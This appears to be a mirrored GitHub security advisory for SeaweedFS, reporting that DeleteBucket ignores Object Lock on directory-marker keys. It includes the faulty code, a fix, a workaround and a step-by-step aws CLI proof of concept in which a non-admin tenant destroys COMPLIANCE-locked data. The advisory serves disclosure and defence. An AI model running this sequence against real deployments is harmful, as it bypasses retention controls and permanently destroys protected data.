GHSA-WHP2-QR7V-7CF3
DeleteBucket ignores Object Lock on directory-marker keys
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-WHP2-QR7V-7CF3 divulgada · CVSS 8.1 (GitHub) | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
`DeleteBucket` refuses to delete a bucket holding objects under an active Object Lock, but the check behind that refusal never examines directory entries. A directory-marker object, an S3 key ending in `/`, can carry retention or legal hold, and `DeleteObject` enforces it; `DeleteBucket` cannot see it. An ordinary S3 user scoped to one bucket destroys an object under COMPLIANCE retention until 2036, and the rest of the bucket with it, in one call. S3 API only: no filer access, no admin rights.
Details
In `weed/s3api/s3_objectlock/object_lock_check.go:148-168`, `EntryHasActiveLock` is only reached in the `else` branch, so a directory entry is recursed into and never tested:
if entry.IsDirectory {
if entry.Name == s3_constants.VersionsFolder {
... checkVersionsForLocksWithClient(...)
} else {
... recursivelyCheckLocksWithClient(...) // never lock-checked
}
} else {
if EntryHasActiveLock(entry, currentTime) { // non-directories onlyA directory-marker object *is* a directory entry, and it does carry the lock. Filer listing of `/buckets/lockb/`:
FullPath : /buckets/lockb/records
Mode : 2147484153 (os.ModeDir|0771)
Extended : Seaweed-X-Amz-Object-Lock-Mode: COMPLIANCE
Seaweed-X-Amz-Retention-Until-Date: 2103706177So `hasObjectsWithActiveLocks` reports no locks and `DeleteBucketHandler` (`weed/s3api/s3api_bucket_handlers.go:458-470`) proceeds to `s3a.rm(..., isRecursive=true)` at `:488`. The whole bucket goes because `-s3.allowDeleteBucketNotEmpty` defaults to true (`weed/command/server.go:180`, `filer.go:147`, `mini.go:394`, `s3.go:115`), leaving the lock gate as the only guard.
The gateway's own delete path treats the same entry as lockable: `weed/s3api/s3api_directory_marker.go:55` calls `enforceObjectLockOnEntry` and returns `ErrAccessDenied` (`:81`, `:87` cover its version history). The two paths disagree.
Introduced in 4.45 by `2a97e08ca` (#10988, "s3: cover the directory marker key with object lock"), which enforced the lock in the marker delete but left `object_lock_check.go` untouched. 4.40-4.44 are unaffected: there `PutObjectRetention` on a key ending in `/` fails, so no lock can exist to miss.
Fix: lock-check the directory entry before recursing.
if entry.IsDirectory {
if EntryHasActiveLock(entry, currentTime) {
*hasLocks = true
return true, nil
}
...I applied exactly this and rebuilt: `delete-bucket` on the locked marker returns `BucketNotEmpty`, and a bucket holding an *unlocked* marker plus ordinary objects still deletes normally.
PoC
Built from `68a175ef6` (4.45), default flags:
weed server -dir=./data -ip=127.0.0.1 -filer -s3 -s3.port=8333 -s3.config=./s3.jsonAttacker is a non-admin identity confined to one bucket:
{"name":"tenant","credentials":[{"accessKey":"tkey","secretKey":"tsecret"}],
"actions":["Read:lockb/*","Write:lockb/*","List:lockb","List:lockb/*",
"Tagging:lockb/*","DeleteBucket:lockb"]}$ export AWS_EC2_METADATA_DISABLED=true AWS_DEFAULT_REGION=us-east-1
$ EP=http://127.0.0.1:8333 ; printf '' > empty
$ AWS_ACCESS_KEY_ID=adminkey AWS_SECRET_ACCESS_KEY=adminsecret \
aws --endpoint-url $EP s3api create-bucket --bucket lockb --object-lock-enabled-for-bucket
{
"Location": "/lockb"
}
$ export AWS_ACCESS_KEY_ID=tkey AWS_SECRET_ACCESS_KEY=tsecret
$ aws --endpoint-url $EP s3api create-bucket --bucket proof-not-admin
An error occurred (AccessDenied) when calling the CreateBucket operation: Access Denied.
$ aws --endpoint-url $EP s3api put-object --bucket lockb --key 'records/' --body empty
{
"ETag": "\"d41d8cd98f00b204e9800998ecf8427e\""
}
$ aws --endpoint-url $EP s3api put-object-retention --bucket lockb --key 'records/' \
--retention "Mode=COMPLIANCE,RetainUntilDate=2036-08-30T10:49:37Z"
$ aws --endpoint-url $EP s3api get-object-retention --bucket lockb --key 'records/'
{
"Retention": {
"Mode": "COMPLIANCE",
"RetainUntilDate": "2036-08-30T12:49:37+02:00"
}
}Control. The lock is enforced:
$ aws --endpoint-url $EP s3api delete-object --bucket lockb --key 'records/'
An error occurred (AccessDenied) when calling the DeleteObject operation: Access Denied.The same user deletes the bucket instead:
$ aws --endpoint-url $EP s3api delete-bucket --bucket lockb ; echo $?
0
$ aws --endpoint-url $EP s3api list-objects-v2 --bucket lockb
An error occurred (NoSuchBucket) when calling the ListObjectsV2 operation: The specified bucket does not exist
$ curl -o /dev/null -w '%{http_code}\n' http://127.0.0.1:8888/buckets/lockb/records/
404Expected: `DeleteBucket` refuses while any object carries an active lock. Actual: it proceeds and destroys the locked object.
Also verified: `put-object-legal-hold --legal-hold Status=ON` behaves identically; a bucket holding `plain1.txt`, `nested/plain2.txt` and one locked `records/` is destroyed whole; and the lock is not merely unenforced against whoever set it. With admin setting the retention, admin itself is refused `delete-object` while the tenant still destroys it via `delete-bucket`.
Bounds tested, so you do not have to. These still block correctly with `BucketNotEmpty`: a locked regular object, a locked non-current version behind a delete marker, and a locked object in a nested prefix. The gap is specific to keys ending in `/`. Pagination beyond 10k entries untested.
Impact
Bypass of Object Lock / retention where it is configured, and permanent, irreversible loss of the protected data plus the rest of the bucket. `SECURITY.md` lists both as in scope. COMPLIANCE is the mode no principal, including the bucket owner, is meant to be able to override.
Reachable by any authenticated S3 identity holding `DeleteBucket` on a bucket it already uses: an ordinary tenant permission, not an administrative one.
Workaround: start the gateway with `allowDeleteBucketNotEmpty=false` (`-s3.allowDeleteBucketNotEmpty` on `weed server`/`weed filer`, `-allowDeleteBucketNotEmpty` on `weed s3`). Verified: `delete-bucket` then returns `BucketNotEmpty` and the retention survives. Not the default.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
Gogithub.com/seaweedfs/seaweedfs |
Sin parche | — | — | — |
Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/seaweedfs/seaweedfs/security/advisories/GHSA-whp2-qr7v-7cf3Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
